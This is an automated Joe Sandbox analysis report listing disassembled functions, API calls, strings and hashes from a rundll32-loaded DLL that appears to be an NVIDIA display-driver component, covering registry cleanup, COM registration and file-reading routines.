Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressProc$Local$AllocConditionFreeInfoMaskVerifyVersion
String ID: Advapi32.dll$CloseServiceHandle$OpenSCManagerW$OpenServiceW$QueryServiceConfigW
API String ID: 576420853-2874019189
Opcode ID: 81bcd578cec1459cf1dcbd3d417f16b885c54f230b3579af7cd1a880c5a440dd
Instruction ID: c2d2ccf8eee57889279b146fefeb88b6210e0ab485314d4bcebb61f1f62a85e7
Opcode Fuzzy Hash: 81bcd578cec1459cf1dcbd3d417f16b885c54f230b3579af7cd1a880c5a440dd
Instruction Fuzzy Hash: 58510635B0BB12E2FB55DB12A86057922A1FF58BD0F084439DD4E46760EF7CE8218638

Function 00007FF8A8D2F90C Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 135stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 00007FF8A8D2F96C
SHDeleteValueW.SHLWAPI ref: 00007FF8A8D2F984
SHDeleteValueW.SHLWAPI ref: 00007FF8A8D2FA8A

Strings

NvXDCore.cpp, xrefs: 00007FF8A8D2F9C8, 00007FF8A8D2F9D7, 00007FF8A8D2FAC6, 00007FF8A8D2FAD5
Failed to clear the registry value for alternate server URL, xrefs: 00007FF8A8D2FB20
DeleteNLSNodeUrlRegistryValues, xrefs: 00007FF8A8D2F9F6, 00007FF8A8D2FA05, 00007FF8A8D2FAF6, 00007FF8A8D2FB05
SYSTEM\CurrentControlSet\Services\nvlddmkm\Global\GridSW, xrefs: 00007FF8A8D2F95C
NLSServerURL, xrefs: 00007FF8A8D2F972
NLSStandbyServerURL, xrefs: 00007FF8A8D2FA78
SOFTWARE\NVIDIA Corporation\Global\GridSW, xrefs: 00007FF8A8D2F965
Failed to clear the registry value for server URL, xrefs: 00007FF8A8D2FA20

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: DeleteValue$lstrcat
String ID: DeleteNLSNodeUrlRegistryValues$Failed to clear the registry value for alternate server URL$Failed to clear the registry value for server URL$NLSServerURL$NLSStandbyServerURL$NvXDCore.cpp$SOFTWARE\NVIDIA Corporation\Global\GridSW$SYSTEM\CurrentControlSet\Services\nvlddmkm\Global\GridSW
API String ID: 180844452-2884575481
Opcode ID: 5b5da7a39a30377fd96a2bd621c2668a4b98f95b85f95207946d071c1176ab47
Instruction ID: 86126fad13e17539e0cdba086b6b55c63d7bb728bcb97cc67050e925ecbe5f89
Opcode Fuzzy Hash: 5b5da7a39a30377fd96a2bd621c2668a4b98f95b85f95207946d071c1176ab47
Instruction Fuzzy Hash: 1B611B32A0AB42E5E7109BA0E8400ED77B4FB847D4F900236EA9D53B69EF3CD159CB54

Function 00007FF8A8D46CD8 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 129synchronizationthreadCOMMON

Download Yara Rule

APIs

CoRegisterClassObject.OLE32 ref: 00007FF8A8D46D65
CreateEventW.KERNEL32 ref: 00007FF8A8D46DC5
CreateThread.KERNEL32 ref: 00007FF8A8D46DF8
CloseHandle.KERNEL32 ref: 00007FF8A8D46E0D
CoResumeClassObjects.OLE32 ref: 00007FF8A8D46E1F
SetEvent.KERNEL32 ref: 00007FF8A8D46E32
WaitForSingleObject.KERNEL32 ref: 00007FF8A8D46E43
CloseHandle.KERNEL32 ref: 00007FF8A8D46E4C
CoRevokeClassObject.OLE32 ref: 00007FF8A8D46E96

Strings

NvXDCore.cpp, xrefs: 00007FF8A8D46CE8

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ClassObject$CloseCreateEventHandle$ObjectsRegisterResumeRevokeSingleThreadWait
String ID: NvXDCore.cpp
API String ID: 756728269-624928461
Opcode ID: 7a43a5a631725520e35c25329734bfc67b2278e87e67bfcac4d7afb62722369a
Instruction ID: cab4f6b9011a592f9d8cbb49a9acd8e5d21e0ea5938c9c60c6e3f3f1bd3573f4
Opcode Fuzzy Hash: 7a43a5a631725520e35c25329734bfc67b2278e87e67bfcac4d7afb62722369a
Instruction Fuzzy Hash: 48513735A0AA02E2FF558B15F84027963A1FF84BC5F098035C95E47764EF7DE4698378

Function 00007FF8A8D31D64 Relevance: 17.8, APIs: 4, Strings: 6, Instructions: 341COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D2E43C: CoCreateInstance.OLE32 ref: 00007FF8A8D2E46D

SetLastError.KERNEL32 ref: 00007FF8A8D31F4D
WaitForMultipleObjects.KERNEL32 ref: 00007FF8A8D32040

Part of subcall function 00007FF8A8D2E05C: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E11F

GetLastError.KERNEL32 ref: 00007FF8A8D321C0
CloseHandle.KERNEL32 ref: 00007FF8A8D32287

Strings

waiting for SyncHandles count, xrefs: 00007FF8A8D31FD4
waiting for SyncHandles finished with the result, xrefs: 00007FF8A8D320C9
NvXDCore.cpp, xrefs: 00007FF8A8D31E47, 00007FF8A8D31E56, 00007FF8A8D31F7F, 00007FF8A8D31F8E, 00007FF8A8D32074, 00007FF8A8D32083, 00007FF8A8D32158, 00007FF8A8D32167
wait for sync mutext failed, xrefs: 00007FF8A8D321AD
SyncHandles Are, xrefs: 00007FF8A8D31EA0
Nvidia::UXDriver::Core::NvXDCorePlugin::HandleCplShutdown, xrefs: 00007FF8A8D31E78, 00007FF8A8D31E87, 00007FF8A8D31FAC, 00007FF8A8D31FBB, 00007FF8A8D320A1, 00007FF8A8D320B0, 00007FF8A8D32185, 00007FF8A8D32194

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ErrorLast$CloseCreateHandleInit_thread_footerInstanceMultipleObjectsWait
String ID: SyncHandles Are$NvXDCore.cpp$Nvidia::UXDriver::Core::NvXDCorePlugin::HandleCplShutdown$wait for sync mutext failed$waiting for SyncHandles count$waiting for SyncHandles finished with the result
API String ID: 3807003664-2047345439
Opcode ID: 0b9c20ea03ebd9dbad61d74de9f5408c606bbc6890b3fb68dbf3ab403222f65e
Instruction ID: ff39268ee0b68782575a9fa618c035e9e7d827b712ce2fc9be162e87283bd5bf
Opcode Fuzzy Hash: 0b9c20ea03ebd9dbad61d74de9f5408c606bbc6890b3fb68dbf3ab403222f65e
Instruction Fuzzy Hash: 70F10C36B0AB42A9EB10DBA1D4401ED33B5FB44798F400536DE5D17B59EF38D129C398

Function 00007FF8A8CFD798 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 159registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF8A8CFD85C
RegQueryValueExW.ADVAPI32 ref: 00007FF8A8CFD8A0
RegDeleteValueW.ADVAPI32 ref: 00007FF8A8CFD8C2
RegQueryValueExW.ADVAPI32 ref: 00007FF8A8CFD92B
RegQueryValueExW.ADVAPI32 ref: 00007FF8A8CFD979
RegDeleteValueW.ADVAPI32 ref: 00007FF8A8CFD9A7
RegCloseKey.ADVAPI32 ref: 00007FF8A8CFD9B7
RegDeleteKeyW.ADVAPI32 ref: 00007FF8A8CFD9C5

Strings

DriverError\ErrorCode, xrefs: 00007FF8A8CFD7D2, 00007FF8A8CFD7F8, 00007FF8A8CFD806
DriverError\ErrorContext, xrefs: 00007FF8A8CFD8D4, 00007FF8A8CFD8EE

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Value$DeleteQuery$CloseOpen
String ID: DriverError\ErrorCode$DriverError\ErrorContext
API String ID: 3061106577-343931756
Opcode ID: e8b55f2feab4bbdb2e5f427509d0c0b4b64532db7f2b9eb8bdf90c0d6540112f
Instruction ID: 629bd2de4dadde0a2bc66a20d671661ba9584af99fd6fb8001dc12e0ffded5f2
Opcode Fuzzy Hash: e8b55f2feab4bbdb2e5f427509d0c0b4b64532db7f2b9eb8bdf90c0d6540112f
Instruction Fuzzy Hash: 2951A23261AB4292EB50DF10E8407BA77A4FB88BD4F405036EE8E43A54EF3CD954CB24

Function 00007FF8A8CFBAE4 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 117libraryloadermemoryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF8A8CFBB2B
GetProcAddress.KERNEL32 ref: 00007FF8A8CFBB6A
GetProcAddress.KERNEL32 ref: 00007FF8A8CFBB96

Part of subcall function 00007FF8A8CFAB70: VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFABB0
Part of subcall function 00007FF8A8CFAB70: VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8CFABDE

LocalAlloc.KERNEL32 ref: 00007FF8A8CFBC04
LocalFree.KERNEL32 ref: 00007FF8A8CFBC5D
SetLastError.KERNEL32 ref: 00007FF8A8CFBC87

Strings

Setupapi.dll, xrefs: 00007FF8A8CFBB3F
SYSTEM\CurrentControlSet\Control\Class\, xrefs: 00007FF8A8CFBC4B
SetupDiGetDeviceRegistryPropertyW, xrefs: 00007FF8A8CFBB60
SetupDiDestroyDeviceInfoList, xrefs: 00007FF8A8CFBB8C

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressErrorLastLocalProc$AllocConditionFreeInfoMaskVerifyVersion
String ID: SYSTEM\CurrentControlSet\Control\Class\$SetupDiDestroyDeviceInfoList$SetupDiGetDeviceRegistryPropertyW$Setupapi.dll
API String ID: 2783935822-1735570339
Opcode ID: ea7982ab65b0be596e67a36e9fb1c312a3c390b9a24ba4bca06979929f529bb5
Instruction ID: f89cca99eb4c622f84f78d0b49fea2cd34bfb7c054131ff5870f798eecc1dc35
Opcode Fuzzy Hash: ea7982ab65b0be596e67a36e9fb1c312a3c390b9a24ba4bca06979929f529bb5
Instruction Fuzzy Hash: B7513931A0AB12E6FB50CB21E8506A923A0FF487C4F444039DD4E57B59EF7CE965C728

Function 00007FF8A8D01D08 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D01D3B
std::ios_base::failure::failure.LIBCPMT ref: 00007FF8A8D01D55
_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D01D66
std::ios_base::failure::failure.LIBCPMT ref: 00007FF8A8D01D80
_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D01D91
std::ios_base::failure::failure.LIBCPMT ref: 00007FF8A8D01DAB
_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D01DBC

Strings

ios_base::failbit set, xrefs: 00007FF8A8D01D74
ios_base::eofbit set, xrefs: 00007FF8A8D01D9F
ios_base::badbit set, xrefs: 00007FF8A8D01D49

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ExceptionThrow$std::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1099746521-1866435925
Opcode ID: 7a8d0049a9d0e06720ebc07020fd1cc616381782ec0e2f7e48c170f5f1d1b8dd
Instruction ID: 54b5bbe34b023c4d07fe19fb6caef816c5524351d30a6ef636faecd34fbb53f1
Opcode Fuzzy Hash: 7a8d0049a9d0e06720ebc07020fd1cc616381782ec0e2f7e48c170f5f1d1b8dd
Instruction Fuzzy Hash: 0D11D661E2A647B1EE04E710C8412F923A0EF507C4F90543AE6EE07996DF7DE90EC768

Function 00007FF8A8D08F3C Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 287registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D03C94: RegOpenKeyExW.ADVAPI32 ref: 00007FF8A8D03CEB

Part of subcall function 00007FF8A8D0433C: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0447F

RegCloseKey.ADVAPI32 ref: 00007FF8A8D09046
RegCloseKey.ADVAPI32 ref: 00007FF8A8D09052

Part of subcall function 00007FF8A8D0EA24: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0EA6E

RegCloseKey.ADVAPI32 ref: 00007FF8A8D090F2
RegCloseKey.ADVAPI32 ref: 00007FF8A8D09101
RegCloseKey.ADVAPI32 ref: 00007FF8A8D09284
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D09400

Strings

LogFilters, xrefs: 00007FF8A8D08FC4, 00007FF8A8D08FD3
LogPrinters, xrefs: 00007FF8A8D09084, 00007FF8A8D09093
LogManagers\, xrefs: 00007FF8A8D091A7

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Close$Deallocatestd::_$Open
String ID: LogFilters$LogManagers\$LogPrinters
API String ID: 1882939507-3386155771
Opcode ID: 4de4560469443e222230ed4f737482b2e7f9c7366df2abc6aed90be0a103b973
Instruction ID: 337ce092dc022f9d8a5840fed9fde9bbb6042e7190925015bd62488b681003d3
Opcode Fuzzy Hash: 4de4560469443e222230ed4f737482b2e7f9c7366df2abc6aed90be0a103b973
Instruction Fuzzy Hash: E7C1823260ABC6A1EB60DB21E4407AEA370FB85BD4F445135DAAE43B95DF3CD948C718

Function 00007FF8A8D31070 Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 256COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D2E05C: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E11F

SetEvent.KERNEL32 ref: 00007FF8A8D311DD

Part of subcall function 00007FF8A8D2C180: CoCreateInstance.OLE32 ref: 00007FF8A8D2C21C
Part of subcall function 00007FF8A8D2C180: StringFromGUID2.OLE32 ref: 00007FF8A8D2C2CB

UnregisterTraceGuids.ADVAPI32 ref: 00007FF8A8D31475

Strings

NvXDCore.cpp, xrefs: 00007FF8A8D310A0
Received OnUnInitialize() from NvContainer, xrefs: 00007FF8A8D31123
Nvidia::UXDriver::Core::NvXDCorePlugin::OnUnInitialize, xrefs: 00007FF8A8D310A7, 00007FF8A8D3133A
Unregistering server for NvXDCoreModule, xrefs: 00007FF8A8D31261
APPID, xrefs: 00007FF8A8D3141A
{C5EDFC9D-B018-41A4-9877-39AB18469C3A}, xrefs: 00007FF8A8D31428
Unregistering AppId for NvXDCoreModule, xrefs: 00007FF8A8D313C6

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CreateEventFromGuidsInit_thread_footerInstanceStringTraceUnregister
String ID: APPID$NvXDCore.cpp$Nvidia::UXDriver::Core::NvXDCorePlugin::OnUnInitialize$Received OnUnInitialize() from NvContainer$Unregistering AppId for NvXDCoreModule$Unregistering server for NvXDCoreModule${C5EDFC9D-B018-41A4-9877-39AB18469C3A}
API String ID: 2576725573-2006552945
Opcode ID: 7f87d3fff44f14fdff29451ae0676118c8797f00f55233acd2d0c76cc97a0955
Instruction ID: af252be2034d0de301baf50a3656fadffdc597134d510fc4a94bea11f20db66c
Opcode Fuzzy Hash: 7f87d3fff44f14fdff29451ae0676118c8797f00f55233acd2d0c76cc97a0955
Instruction Fuzzy Hash: 64C12B32A06B82E9EB119F61E8401ED33A4FB447D8F800139EA9D57B69EF3CD559C358

Function 00007FF8A8D754D0 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8DD3D98: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DD3D04

GetFileSize.KERNEL32 ref: 00007FF8A8D755B0
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D75610

Part of subcall function 00007FF8A8DD3CD4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DD3C3D

Strings

Invalid output buffer to read the file, xrefs: 00007FF8A8D755C3
GridCommonUtils.cpp, xrefs: 00007FF8A8D7564D
Failed to allocate memory, xrefs: 00007FF8A8D75600
Failed to get file handle %s (%s), xrefs: 00007FF8A8D75592
File size is greater than the maximum allowed limit, xrefs: 00007FF8A8D755E1
readDataFromFile, xrefs: 00007FF8A8D75674
Failed to open file %s (%s), xrefs: 00007FF8A8D7554F

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo$FileSizeswprintf
String ID: Failed to allocate memory$Failed to get file handle %s (%s)$Failed to open file %s (%s)$File size is greater than the maximum allowed limit$GridCommonUtils.cpp$Invalid output buffer to read the file$readDataFromFile
API String ID: 1804721631-2846590039
Opcode ID: 787ba92b32396975d36dd7a8a3d990c1eac88cc14c00e52c62fd1c738779817d
Instruction ID: c37ca4f5405dc9313b9e5b24934696dcb553f2360f67198e920140c11b52524d
Opcode Fuzzy Hash: 787ba92b32396975d36dd7a8a3d990c1eac88cc14c00e52c62fd1c738779817d
Instruction Fuzzy Hash: 2F719121A0BB82A5FB109B61E4003EA67A0FF847D8F500635DA6D17796EF3CE419C758

Function 00007FF8A8CFD370 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 124libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,?,00000000), ref: 00007FF8A8CFD3CC
GetProcAddress.KERNEL32(?,?,00000000,?,00000000), ref: 00007FF8A8CFD3F8
GetProcAddress.KERNEL32(?,?,00000000,?,00000000), ref: 00007FF8A8CFD424

Part of subcall function 00007FF8A8CFAB70: VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFABB0
Part of subcall function 00007FF8A8CFAB70: VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8CFABDE

LocalAlloc.KERNEL32(?,?,00000000,?,00000000), ref: 00007FF8A8CFD48B
LocalFree.KERNEL32 ref: 00007FF8A8CFD529

Strings

RegOpenKeyExW, xrefs: 00007FF8A8CFD3C2
RegEnumValueW, xrefs: 00007FF8A8CFD3EE
RegCloseKey, xrefs: 00007FF8A8CFD41A
Advapi32.dll, xrefs: 00007FF8A8CFD3A1

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
